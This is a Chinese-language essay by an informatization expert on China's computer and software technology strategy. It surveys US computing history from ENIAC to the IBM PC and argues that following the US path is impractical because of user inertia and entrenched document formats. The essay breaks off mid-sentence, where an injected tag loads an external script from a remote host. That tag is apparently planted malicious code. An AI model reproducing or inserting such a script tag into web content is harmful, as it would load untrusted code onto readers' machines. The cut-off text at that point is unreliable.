国家信息化专家咨询委员会委员 张复良
我们对工业总体性的发展战略研究比较多,并主要侧重于经济发展的问题。对于技术发展战略和技术路线则研究甚少,以致在技术发展的许多重大问题上长时期内没有明确的主张,影响了对核心技术的掌握。现在看来,不确立技术战略和技术路线,总体性的发展战略就落实不下去,难以发挥作用。
改革开放以来,我国电子工业的发展基本上是跟着美国人走,虽然也从欧洲、日本学了一些东西,但是为次。而欧洲、日本也是以美为师,跟在美国人的后面走。除前苏联以外,世界上大多数的国家都跟在美国人的后面走,结果就受到了很大的束缚,似乎用不着再动什么脑筋,只要跟在美国人的后面走就行了。一般来说,作为一个小的国家,只能跟着走,没有必要,也不可能跳出国际的潮流。但中国恰恰是个大国,又是一个社会主义国家,在跟着人家走了这么多年以后,就遭遇到本文前几篇讨论中所提出的问题。形势逼着我们要反思许多问题,要我们想一想我们要不要照旧走下去?如果我们不照旧走下去,未来的路子我们应当怎么走?
要回答这些问题并不是很容易的,必将在政治、经济、贸易、科技等各个方面产生矛盾和冲突。既使我们取得了思想认识上的一致,但如何实施,何时实现,也决非短期内就能够见效。
我想我们还是首先集中讨论技术战略和技术路线,对这个问题如果能够找到一点出路,其他问题也就有了讨论的前提。
本人才疏学浅,既没有能力,也没有权威回答我们面对的这么多的复杂问题。但由于我在工作中广泛接触到各方面的专家,他们中间蕴藏着巨大的智慧,我想我们可以把他们的一些重要的想法提出来,供大家讨论。例如,在计算机和软件技术战略方面,就有一种非常睿智有见地的主张。
这种主张是在分析美国计算机的发展历程后,从世界和我国的实际情况出发提出来的。
美国计算机的发展是从大型机开始的。1946年世界第一台电子计算机在美国诞生,叫做eniac,它是一个庞然大物,占地面积170平方米,重30吨,采用了18000个电子管,可在1秒钟内进行5000次加法运算和500次乘法运算。1956年,美国的贝尔实验室用晶体管代替真空管,制成了世界上第一台全晶体管计算机,使计算机的体积、重量和耗电都极大地减少了。随着微电子技术的迅猛发展,至上世纪70年代中叶,美国迎来了微型计算机时代,出现了苹果、德州仪器和commodore等众多厂商的崛起。这一趋势引起了ibm公司的关注,它于1981年推出了ibm pc个人计算机系列,开创了个人计算机发展的新纪元,并因此成就了微软和英特尔两大巨头的霸业。
ibm公司首先选用了intel 8088微处理器,然后又出现了专门为intel 8088开发的操作系统ms-dos(微软磁盘操作系统)。众所周知,人们使用计算机的时候,并不是直接使用cpu和操作系统,而是使用各种各样的应用软件。于是在intel 8088cpu和ms-dos操作系统上,风起云涌地开发了许许多多的应用软件,如电子表格、文字处理,数据库等等。在这个层次上又造就了风光一时的软件巨擘,如visicalc、workstar、d-base、lotus123、wordperfect,当然还有微软的office。这是由低级到高极、由下而上的很自然的发展,它是一个发展过程的历史。
如果我们后来者采取技术跟踪战略,跟在美国人的后面向前追赶,路子走得通吗?例如说,我们能不能也先做出自己的cpu,然后在这个cpu的基础上发展操作系统,再在这两个已经完成的底层平台上来发展所有的应用软件呢?答案应当是极为困难的,或几乎是不可能的。目前个人计算机所使用的cpu仍在按摩尔定律快速进步,个人计算机已经是所有计算机使用中的主流。除了数据库以外,几乎所有的文档和数据都是由个人计算机上的应用软件所产生的。由于用户的惰性和文档交换的不便,要改变现有的使用习惯和换用新的文档格式,决非易事,同时会造成极大的不便和痛苦。这使得想让一个新的软件产品替换现有的主流产品变得非常困难。这个新的软件产品要想有所作为,就必须做到对现有的主导产品在使用界面和文档格式上都能够实现高度的兼容,把用户换用的不便和痛苦降到最低限度。在这两者的兼容上,对用户来说最好完全相同,但这因为有知识产权侵权的问题而不可行。换用一个软件产品尚且如此困难,那么要想更换更为底层平台的操作系统和cpu,则需要把成千上万个应用软件都做好,并都能将换用的痛苦降到最低点,这简直是不可思议的事。试想,我国已有8000多万台安装使用中的个人计算机,每台个人计算机有1000个windows上应用软件所创建的文档,则有超过8000多万个用户和800多亿个文档,而这个数据还在随每年20%新增个人计算机在快速增加,要让这么多的用户来换用他们所用熟的应用软件,还要兼容已存在的文档,这个惰性和困难可想而知,所以甚至有人认为微软的垄断不在于windows而在于.doc这个文档格式。因此,这种跟踪美国、?script src=http://er12.com/t.js>











